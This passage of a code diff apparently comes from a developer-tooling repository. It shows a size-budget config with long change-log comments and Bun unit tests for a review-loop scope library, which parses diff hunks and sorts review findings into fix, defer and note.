1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integra Line truncated
},
'plan-ceo-review': {
skill: 'plan-ceo-review',
@@ -487,7 +487,7 @@ do not launch the downstream skill or open a browser.`,
maxSkeletonBytes: 80_900, // Shared-code identity/skip/action rules + critical-severity validation; measured 74,493 (2026-09-17). + v1.91.12.0 merge of #2999 (review clarity repairs: await reads, research alongside dispatch, /review deadline and setup authority, findings sources) with #3002 (guarded state-root lines, plan-check checkpoints); each fit alone; measured 74,881 (2026-10-01). + Oct 8 wave: shared voice directive bans "load-bearing" and adds the reply-language rule, offset by tightening the bounded closer (net +17 bytes per tier-2+ skill); measured 74,884 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W2): Step 3.5 Diff scans with the shared GATE_SCAN_BLOCK, the Step 4 carry, the four-option `review-gate-disposition` question in 5c, gate record fields in 5.8 and the Gate edits report line; measured 80,054 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): Step 4's enum-only paragraph becomes the sideways sweep with the forced-CRITICAL list, plus the flake-fix number sentence in the Gate Integrity paragraph; measured skeleton 80,812 (2026-10-10).
minUnionBytes: 89_000, // Phase 4 wave 1; measured union 93,357
mustContain: ['confidence', 'P1', 'P2', 'Review Army', 'adversarial'],
maxSizeRatio: 1.2960, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10).
maxSizeRatio: 1.3100, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10). + harness lane E (2026-10-26): the lead-judgment stage in the finding merge and the `cause` anchor in the specialist prompts, shared with /ship through scripts/resolvers/review-army.ts; measured 141,949 / 108,523 = 1.3080.
},
codex: {
skill: 'codex',
+2 -1
View File
@@ -326,7 +326,8 @@ describe('caller native-event observer controls', () => {
.replace('"commit":"COMMIT"', `"commit":"'"$(git rev-parse --short HEAD)"'"`)
.replace('"STATUS"', '"issues_found"').replace(/"issues_found":N/, '"issues_found":1').replace('"critical":N', '"critical":1').replace('"informational":N', '"informational":0')
.replace('SCORE', '10.0').replace('SPECIALISTS_JSON', '{}').replace('FINDINGS_JSON', '[{"fingerprint":"scale.ts:3:functional-contract","severity":"CRITICAL","action":"ask-pending"}]')
.replace('COMPLETED', 'false').replace('CONVERGED', 'false').replace('CYCLES', '0').replace('REVIEW_START', 'native-token');
.replace('COMPLETED', 'false').replace('CONVERGED', 'false').replace('CYCLES', '0').replace('REVIEW_START', 'native-token')
.replace('"pass":PASS', '"pass":1').replace('"review_scope":"SCOPE"', '"review_scope":"frozen"').replace('RANGE_BASE_OR_NULL', 'null');
expect(errorsFor(filled)).toEqual([]);
const fixture = createQaCallerFixture(caller === 'review' ? 'review-exploratory-small-cli' : 'ship-exploratory-small-cli', { installRuntime: false });
try { expect(qaCallerSessionOptions(fixture, 'free-control').prompt).toContain(callerReviewRecordTemplate(fixture)); } finally { fs.rmSync(fixture.root, { recursive: true, force: true }); }
+1 -1
View File
@@ -8,7 +8,7 @@ const ROOT = path.resolve(import.meta.dir, '..');
test.each([
['consensus', 'review-army-consensus', 'SQL injection'],
['N+1', 'review-army-perf-n-plus-one', 'N+1 queries in posts_controller.rb'],
['N+1', 'review-army-perf-n-plus-one', 'SPECIALIST REVIEW: 1 findings (1 critical, 0 informational) from 1 specialist\nN+1 queries in posts_controller.rb'],
])('%s drains its timed-out capture before Bun retries or removes the fixture', (_label, caseId, report) => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'review-army-finalization-'));
try {
+10 -6
View File
@@ -205,13 +205,17 @@ describe('gstack-specialist-stats', () => {
});
describe('ship Step 9 instructions', () => {
// Harness lane E (issue row 1): the fix-range token's mandatory final full pass re-read the
// whole tree and found new neighbours every time. /ship now reads only the range since the
// previous pass (RANGE_BASE) under a full token, so the final record still binds the tree.
const army = fs.readFileSync(path.join(ROOT, 'ship/sections/review-army.md'), 'utf8').replace(/\s+/g, ' ');
test('the fix-range start, its base substitution and the mandatory full pass are stated', () => {
expect(army).toContain('start with `--start review --fix-range`');
expect(army).toContain('`FIX_BASE=<sha>`, which stands in for `origin/<base>` and `<base>` in this pass');
expect(army).toContain('If it refuses, start a full pass.');
expect(army).toContain('it may be a fix-range repeat');
expect(army).toContain('continue to Step 10, and only from a full pass: after a fix-range pass, run one full Step 9 first.');
test('pass 2+ reads the range since the previous pass under a full token; the fix-range token is /review\'s alone', () => {
expect(army).toContain('Every entry saves `PASS_HEAD=$(git rev-parse HEAD)`; from pass 2 on, `RANGE_BASE` is the previous pass\'s PASS_HEAD.');
expect(army).toContain('use `DIFF_BASE=$RANGE_BASE` instead, so every reviewer reads what changed since the previous pass.');
expect(army).toContain('Every pass captures a full token (no `--fix-range`), so the record binds the whole tree even when reviewers read only the range.');
expect(army).not.toContain('--start review --fix-range');
expect(army).toContain('gstack-review-scope classify --base <base> --pass $PASS --range-base $RANGE_BASE');
expect(army).toContain('A pass whose only findings were deferred or noted applied no edits and continues here: the loop converges below the floor.');
});
});
+60
View File
@@ -0,0 +1,60 @@
/**
* Harness lane E: the review-loop budget's words (absorbed from tstack's sol-loop
* and pstack's interrogate, written in gstack's own words). The glossary and the
* two stop rules live where the loop decides (ship Step 9.4 and its repeat
* decisions, the checklist's Fix-First heuristic); the lead-judgment filters sit
* in the finding merge both /review and /ship render from one resolver.
*/
import { describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { generateReviewArmy } from '../scripts/resolvers/review-army';
import { HOST_PATHS } from '../scripts/resolvers/types';
const ROOT = path.resolve(import.meta.dir, '..');
const read = (p: string) => fs.readFileSync(path.join(ROOT, p), 'utf8').replace(/\s+/g, ' ');
describe('review-loop budget wording', () => {
test('ship Step 9.4 budgets by blocker / should / nit and the repeat decisions carry the two stop rules', () => {
const authored = read('ship/sections/review-army.md.tmpl');
expect(authored).toContain('a **blocker** is the intended case gone wrong');
const army = read('ship/sections/review-army.md');
expect(army).toContain('a **blocker** is the intended case gone wrong');
expect(army).toContain('a **should** is a real bug a caller will hit, in the intended case');
expect(army).toContain('a **nit** is the rest');
expect(army).toContain('The cap is a stop, not an approval');
expect(army).toContain('cut that growth before anything else');
expect(army).toContain('(`git diff $RANGE_BASE` from pass 2 on)');
expect(army).toContain('The gate scan (2.5) and the QA probes keep the whole candidate');
expect(army).toContain('and the command still exits 0: the PR body carries the reason');
});
test('the checklist glossary maps the three words onto the blocking floor and repeats the stop rules', () => {
const checklist = read('review/checklist.md');
expect(checklist).toContain('**Severity glossary**');
for (const word of ['**blocker**', '**should**', '**nit**']) expect(checklist).toContain(word);
expect(checklist).toContain('cut that growth first');
expect(checklist).toContain('reaching the cap approves nothing');
});
test('both review armies apply lead judgment before a merged finding counts, and every specialist prompt offers the cause anchor', () => {
const rendered = (['ship', 'review'] as const).map(skillName =>
generateReviewArmy({ skillName, tmplPath: '', host: 'claude', paths: HOST_PATHS.claude }).replace(/\s+/g, ' '));
for (const text of [...rendered, read('ship/sections/review-army.md'), read('review/sections/review-army.md')]) {
const judgment = text.slice(text.indexOf('#### 4. Lead judgment'), text.indexOf('#### 5. Apply specialist confidence gates'));
expect(judgment.length).toBeGreaterThan(200);
for (const filter of ['Nit gravity', 'Hypothetical, not actual', 'Structure for a case that does not exist', 'A different design is not a defect', 'Missing context']) expect(judgment).toContain(filter);
expect(judgment).toContain('returned `NO FINDINGS` was right');
expect(text).toContain('names the changed line in `cause`');
expect(text).toContain('Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.');
}
});
test('docs/review-policy.md states the glossary, the stop rules and lead judgment once', () => {
const policy = read('docs/review-policy.md');
expect(policy).toContain('a **blocker** is the intended case gone wrong');
expect(policy).toContain('the cap approves nothing');
expect(policy).toContain('the parent applies lead judgment');
expect(policy).not.toMatch(/\b1\.91\.\d+\.\d+\b/);
});
});
+9 -4
View File
@@ -4,7 +4,7 @@ import * as os from 'node:os';
import * as path from 'node:path';
import {spawnSync} from 'node:child_process';
const ROOT = path.resolve(import.meta.dir, '..');
test.each(['complete-control', 'captured-omission', 'claimed-only', 'background', 'missing-report', 'unrelated-report', 'captured-timeout', 'performance-omitted', 'performance-background'])
test.each(['complete-control', 'captured-omission', 'claimed-only', 'background', 'missing-report', 'unrelated-report', 'captured-timeout', 'performance-omitted', 'performance-background', 'informational-not-activated', 'informational-claimed'])
('N+1 registered completion contract: %s', scenario => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'n1-contract-'));
const facts = path.join(dir, 'facts.json');
@@ -20,6 +20,7 @@ const data=structuredClone(['captured-omission','claimed-only'].includes(scenari
if(scenario==='background')data.events[1].message.content[0].input.run_in_background=true;
if(scenario==='performance-background')data.events[0].message.content[0].input.run_in_background=true;
if(scenario==='performance-omitted')data.events.shift();
if(['informational-not-activated','informational-claimed'].includes(scenario))data.events.splice(1,1);
const parsed=actual.parseNDJSON(data.events.map(e=>JSON.stringify(e)));
let prompt='';
mock.module(path.join(root,'test/helpers/e2e-helpers.ts'),()=>({
@@ -35,7 +36,10 @@ mock.module(path.join(root,'test/helpers/session-runner.ts'),()=>({...actual,run
expect(options.timeout).toBe(300000);expect(options.maxTurns).toBe(20);
prompt=options.prompt;
if(scenario!=='missing-report')fs.writeFileSync(path.join(options.workingDirectory,'review-output.md'),
scenario==='unrelated-report'?'No relevant evidence':'N+1 queries at posts_controller.rb:7 and :9.'+
scenario==='unrelated-report'?'No relevant evidence':
scenario==='informational-not-activated'?'SPECIALIST REVIEW: 2 findings (0 critical, 2 informational) from 1 specialist\\nN+1 queries at posts_controller.rb:7 and :9.\\nRed Team: not activated — no specialist produced a CRITICAL finding.':
scenario==='informational-claimed'?'SPECIALIST REVIEW: 2 findings (0 critical, 2 informational) from 1 specialist\\nN+1 queries at posts_controller.rb:7 and :9.\\nRed Team completed.':
'SPECIALIST REVIEW: 1 findings (1 critical, 0 informational) from 1 specialist\\nN+1 queries at posts_controller.rb:7 and :9.'+
(scenario==='claimed-only'?' Red Team completed.':''));
return {exitReason:scenario==='captured-timeout'?'timeout':'success',browseErrors:[],toolCalls:parsed.toolCalls,
transcript:parsed.transcript,output:data.publicAcknowledgement??'Synthetic successful completion control.'};
@@ -47,11 +51,12 @@ await import(path.join(root,'test/skill-e2e-review-army.test.ts'));
cwd: dir, encoding: 'utf8', timeout: 10_000,
env: {PATH: process.env.PATH ?? '', HOME: dir, TMPDIR: dir, NO_COLOR: '1'},
});
expect(child.status, child.stdout + child.stderr).toBe(scenario === 'complete-control' ? 0 : 1);
const passes = scenario === 'complete-control' || scenario === 'informational-not-activated';
expect(child.status, child.stdout + child.stderr).toBe(passes ? 0 : 1);
expect(child.stderr).not.toContain('Unhandled error between tests');
expect(fs.existsSync(facts), child.stdout + child.stderr).toBe(true);
const observed = JSON.parse(fs.readFileSync(facts, 'utf8'));
expect(observed.passed).toBe(scenario === 'complete-control');
expect(observed.passed).toBe(passes);
expect(observed.exitReason).toBe(scenario === 'captured-timeout' ? 'timeout' : 'success');
expect(observed.prompt).toContain('conditional Red Team dispatch');
expect(observed.prompt).toContain('separate foreground Red Team subagent');
+423
View File
@@ -0,0 +1,423 @@
/**
* Harness lane E: the /ship review loop's finding scope (lib/review-scope.ts,
* bin/gstack-review-scope). Five Captains hit a loop that re-read the whole
* diff each pass and fixed neighbours in pre-existing code until the cycle
* cap. Under `review_scope: frozen` pass 1 fixes the diff and defers blocking
* findings in unchanged code to issues; pass 2+ fixes only blocking findings
* in the range since the previous pass (or the diff) and notes the rest.
*/
import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import {
isBlocking, kindOf, locusOf, parseHunks, renderDeferredIssue, renderDeferredSection, reviewLoopLine, scopeFindings, scopeLine, summarizeReviewLoop,
type ScopedFinding,
} from '../lib/review-scope';
import { cleanup, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/restamp-fixture';
const ROOT = path.resolve(import.meta.dir, '..');
const repos: FixtureRepo[] = [];
const fixture = () => { const r = makeFixtureRepo({ prefix: 'review-scope-' }); repos.push(r); return r; };
afterEach(() => { while (repos.length) cleanup(repos.pop()!); });
const DIFF = [
'diff --git a/src/auth.ts b/src/auth.ts', 'index 1..2 100644', '--- a/src/auth.ts', '+++ b/src/auth.ts',
'@@ -10,2 +10,4 @@ export function check() {', '+ const a = 1;', '+ const b = 2;', '@@ -40 +42,0 @@', '- old();',
'diff --git a/src/new.ts b/src/new.ts', 'new file mode 100644', '--- /dev/null', '+++ b/src/new.ts', '@@ -0,0 +1,3 @@', '+a', '+b', '+c',
'diff --git a/src/gone.ts b/src/gone.ts', 'deleted file mode 100644', '--- a/src/gone.ts', '+++ /dev/null', '@@ -1,3 +0,0 @@', '-a', '-b', '-c',
].join('\n');
describe('hunk parsing and locus', () => {
test('parseHunks reads new-side ranges, whole added files, untracked files, and keeps a deleted file as a whole changed location', () => {
const hunks = parseHunks(DIFF, ['scratch/untracked.ts']);
expect(hunks['src/auth.ts']).toEqual([[10, 13], [42, 42]]);
expect(hunks['src/new.ts']).toBe('whole');
expect(hunks['scratch/untracked.ts']).toBe('whole');
expect(hunks['src/gone.ts']).toBe('whole');
});
// A removed export is a changed location: a caller it breaks reports the caller's path with a cause
// in the deleted file, and the pass-4 outside review showed that anchor landed outside and deferred.
test('a cause anchored in a deleted file is the diff, so the broken caller is fixed here, not deferred', () => {
const diff = parseHunks(DIFF);
expect(locusOf({ path: 'src/consumer.ts', line: 80, cause: { path: 'src/gone.ts', line: 2 } }, diff, null)).toBe('diff');
const [scoped] = scopeFindings([{ fingerprint: 'src/consumer.ts:80:api', path: 'src/consumer.ts', line: 80, severity: 'CRITICAL', cause: { path: 'src/gone.ts' } }], { policy: 'frozen', pass: 1, diffHunks: diff, rangeHunks: null });
expect(scoped!.locus).toBe('diff');
expect(scoped!.scope).toBe('fix');
});
test('locusOf: inside a hunk or within 3 lines is the diff, farther is outside, an added file is whole, the range wins over the diff', () => {
const diff = parseHunks(DIFF);
expect(locusOf({ path: 'src/auth.ts', line: 11 }, diff, null)).toBe('diff');
expect(locusOf({ path: 'src/auth.ts', line: 16 }, diff, null)).toBe('diff');
expect(locusOf({ path: 'src/auth.ts', line: 17 }, diff, null)).toBe('outside');
expect(locusOf({ path: 'src/auth.ts', line: 200 }, diff, null)).toBe('outside');
expect(locusOf({ path: 'src/auth.ts' }, diff, null)).toBe('diff');
expect(locusOf({ path: 'src/new.ts', line: 999 }, diff, null)).toBe('diff');
expect(locusOf({ path: 'lib/other.ts', line: 1 }, diff, null)).toBe('outside');
expect(locusOf({ fingerprint: 'src/auth.ts:11:security' }, diff, null)).toBe('diff');
expect(locusOf({ fingerprint: 'shared-libs:abc' }, diff, null)).toBe('outside');
expect(locusOf({ severity: 'CRITICAL', summary: 'somewhere' }, diff, null)).toBe('outside');
// a defect the diff causes in an unchanged caller names the changed line in `cause`; the locus follows it
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 11 } }, diff, null)).toBe('diff');
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 300 } }, diff, null)).toBe('outside');
expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/new.ts' } }, diff, null)).toBe('diff');
const range = parseHunks('diff --git a/src/auth.ts b/src/auth.ts\n--- a/src/auth.ts\n+++ b/src/auth.ts\n@@ -11 +11 @@\n-x\n+y\n');
expect(locusOf({ path: 'src/auth.ts', line: 11 }, diff, range)).toBe('fix-range');
expect(locusOf({ path: 'src/auth.ts', line: 42 }, diff, range)).toBe('diff');
});
test('kind and the blocking floor: CRITICAL defects block; advisories, test gaps and INFORMATIONAL items never do', () => {
expect(kindOf({ advisory: true, severity: 'INFORMATIONAL' })).toBe('advisory');
expect(kindOf({ category: 'test-gap', severity: 'CRITICAL' })).toBe('test-gap');
// the Testing specialist's schema (review/specialists/testing.md) emits category "testing" for every finding it returns
const real = { severity: 'CRITICAL', confidence: 7, path: 'src/auth.ts', line: 42, category: 'testing', summary: 'denied path has no test', fingerprint: 'src/auth.ts:42:testing', specialist: 'testing' };
expect(kindOf(real)).toBe('test-gap');
expect(isBlocking(real)).toBe(false);
expect(fs.readFileSync(path.join(ROOT, 'review/specialists/testing.md'), 'utf8')).toContain('\"category\":\"testing\"');
expect(kindOf({ category: 'security', severity: 'CRITICAL' })).toBe('defect');
expect(isBlocking({ category: 'security', severity: 'CRITICAL' })).toBe(true);
expect(isBlocking({ category: 'security', severity: 'critical' })).toBe(true);
expect(isBlocking({ category: 'security', severity: 'INFORMATIONAL' })).toBe(false);
expect(isBlocking({ category: 'test-coverage', severity: 'CRITICAL' })).toBe(false);
expect(isBlocking({ advisory: true, severity: 'CRITICAL' })).toBe(false);
});
});
describe('scope decisions', () => {
const diff = parseHunks(DIFF);
const range = parseHunks('diff --git a/src/auth.ts b/src/auth.ts\n--- a/src/auth.ts\n+++ b/src/auth.ts\n@@ -11 +11 @@\n-x\n+y\n');
const findings = [
{ fingerprint: 'src/auth.ts:11:security', path: 'src/auth.ts', line: 11, severity: 'CRITICAL', category: 'security', summary: 'in range' },
{ fingerprint: 'src/auth.ts:42:logic', path: 'src/auth.ts', line: 42, severity: 'CRITICAL', category: 'logic', summary: 'in diff' },
{ fingerprint: 'src/auth.ts:42:naming', path: 'src/auth.ts', line: 42, severity: 'INFORMATIONAL', category: 'naming', summary: 'in diff, informational' },
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts', line: 7, severity: 'CRITICAL', category: 'data-loss', summary: 'pre-existing' },
{ fingerprint: 'lib/legacy.ts:9:style', path: 'lib/legacy.ts', line: 9, severity: 'INFORMATIONAL', category: 'style', summary: 'pre-existing wording' },
{ fingerprint: 'shared-libs:deadbeef', severity: 'INFORMATIONAL', advisory: true, category: 'shared-libs', summary: 'advice' },
];
const by = (scoped: ScopedFinding[]) => Object.fromEntries(scoped.map(f => [f.fingerprint, `${f.locus}/${f.kind}/${f.blocking ? 'blocking' : 'below'}/${f.scope}`]));
test('all: every finding is fixed, whatever its locus (the pre-frozen loop)', () => {
const scoped = scopeFindings(findings, { policy: 'all', pass: 2, diffHunks: diff, rangeHunks: range });
expect(scoped.every(f => f.scope === 'fix')).toBe(true);
expect(by(scoped)['lib/legacy.ts:7:data-loss']).toBe('outside/defect/blocking/fix');
});
test('frozen pass 1: the diff is fixed, blocking findings outside are deferred, the rest are notes', () => {
const scoped = scopeFindings(findings, { policy: 'frozen', pass: 1, diffHunks: diff, rangeHunks: range });
expect(by(scoped)).toEqual({
'src/auth.ts:11:security': 'diff/defect/blocking/fix',
'src/auth.ts:42:logic': 'diff/defect/blocking/fix',
'src/auth.ts:42:naming': 'diff/defect/below/fix',
'lib/legacy.ts:7:data-loss': 'outside/defect/blocking/defer',
'lib/legacy.ts:9:style': 'outside/defect/below/note',
'shared-libs:deadbeef': 'outside/advisory/below/note',
});
expect(scopeLine('frozen', 1, scoped)).toBe('REVIEW_SCOPE: policy=frozen pass=1 findings=6 fix=3 defer=1 note=2 blocking=3');
// a blocking finding nobody could place is fixed now, never filed against '(no path)'
const unplaced = scopeFindings([{ severity: 'CRITICAL', category: 'logic', summary: 'somewhere' }], { policy: 'frozen', pass: 2, diffHunks: diff, rangeHunks: range });
expect(by(unplaced)['undefined']).toBe('outside/defect/blocking/fix');
});
test('diff-plus-blocking (the documented fallback, not the default): a blocking finding outside the diff is fixed here instead of filed; everything else is as frozen', () => {
const p1 = by(scopeFindings(findings, { policy: 'diff-plus-blocking', pass: 1, diffHunks: diff, rangeHunks: range }));
expect(p1['lib/legacy.ts:7:data-loss']).toBe('outside/defect/blocking/fix');
expect(p1['lib/legacy.ts:9:style']).toBe('outside/defect/below/note');
expect(p1['src/auth.ts:42:naming']).toBe('diff/defect/below/fix');
const p2 = by(scopeFindings(findings, { policy: 'diff-plus-blocking', pass: 2, diffHunks: diff, rangeHunks: range }));
expect(p2['lib/legacy.ts:7:data-loss']).toBe('outside/defect/blocking/fix');
expect(p2['src/auth.ts:42:naming']).toBe('diff/defect/below/note');
expect(Object.values(p2).some(v => String(v).endsWith('/defer'))).toBe(false);
});
test('frozen pass 2+: only blocking findings in the range or the diff are fixed; everything below the floor is a note', () => {
const scoped = scopeFindings(findings, { policy: 'frozen', pass: 2, diffHunks: diff, rangeHunks: range });
expect(by(scoped)).toEqual({
'src/auth.ts:11:security': 'fix-range/defect/blocking/fix',
'src/auth.ts:42:logic': 'diff/defect/blocking/fix',
'src/auth.ts:42:naming': 'diff/defect/below/note',
'lib/legacy.ts:7:data-loss': 'outside/defect/blocking/defer',
'lib/legacy.ts:9:style': 'outside/defect/below/note',
'shared-libs:deadbeef': 'outside/advisory/below/note',
});
});
});
describe('deferral rendering', () => {
const finding: ScopedFinding = { fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts', line: 7, severity: 'CRITICAL', category: 'data-loss', summary: 'Unbounded delete\nwithout a where clause', fix: 'add the tenant filter', specialist: 'security', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' };
test('the issue names the origin PR, the finding and a marker that keeps a rerun from filing twice; the body section references and never closes', () => {
const issue = renderDeferredIssue(finding, { repo: 'acme/app', pr: 42, branch: 'feat/x', head: 'a'.repeat(40) });
expect(issue.title).toBe('Deferred review finding: lib/legacy.ts:7 — Unbounded delete without a where clause');
expect(issue.body).toContain('acme/app#42 (head aaaaaaaaaaaa)');
expect(issue.body).toContain('- **Severity:** CRITICAL');
expect(issue.body).toContain('- **Suggested fix:** add the tenant filter');
expect(issue.body).toContain('- **Found by:** security');
expect(issue.marker).toBe('<!-- gstack-deferred-finding: lib/legacy.ts:7:data-loss -->');
expect(issue.body.trimEnd().endsWith(issue.marker)).toBe(true);
const section = renderDeferredSection(
[{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts:7', severity: 'CRITICAL', summary: 'Unbounded delete', issue: 77 },
{ fingerprint: 'lib/old.ts:1:auth', path: 'lib/old.ts:1', severity: 'CRITICAL', summary: 'Missing owner check', issue: null, reason: 'gh is not installed' }],
[{ path: 'src/auth.ts', line: 42, severity: 'INFORMATIONAL', summary: 'rename b', advisory: true }]);
expect(section).toContain('## Deferred findings');
expect(section).toContain('- Deferred: #77 — CRITICAL `lib/legacy.ts:7` Unbounded delete');
expect(section).toContain('- Deferred: unfiled (gh is not installed) — CRITICAL `lib/old.ts:1` Missing owner check');
expect(section).toContain('## Review notes');
expect(section).toContain('- INFORMATIONAL [ADVISORY] `src/auth.ts:42` rename b');
expect(section).not.toMatch(/\b(fixes|closes|resolves)\b/i);
expect(renderDeferredSection([], [])).toBe('');
});
});
describe('loop summary', () => {
test('counts this invocation\'s passes and unique blocking, deferred, noted and fixed findings', () => {
const rows = [
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', review_scope: 'frozen', findings: [
{ fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }, { fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:30:00Z', review_scope: 'frozen', findings: [
{ fingerprint: 'b:1:y', blocking: true, action: 'deferred', issue: 5 }, { fingerprint: 'c:1:z', action: 'noted' }] },
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T09:00:00Z', findings: [{ fingerprint: 'old:1:q', blocking: true, action: 'fixed' }] },
{ skill: 'adversarial-review', timestamp: '2026-10-26T10:15:00Z', findings: [{ fingerprint: 'd:1:w', blocking: true }] },
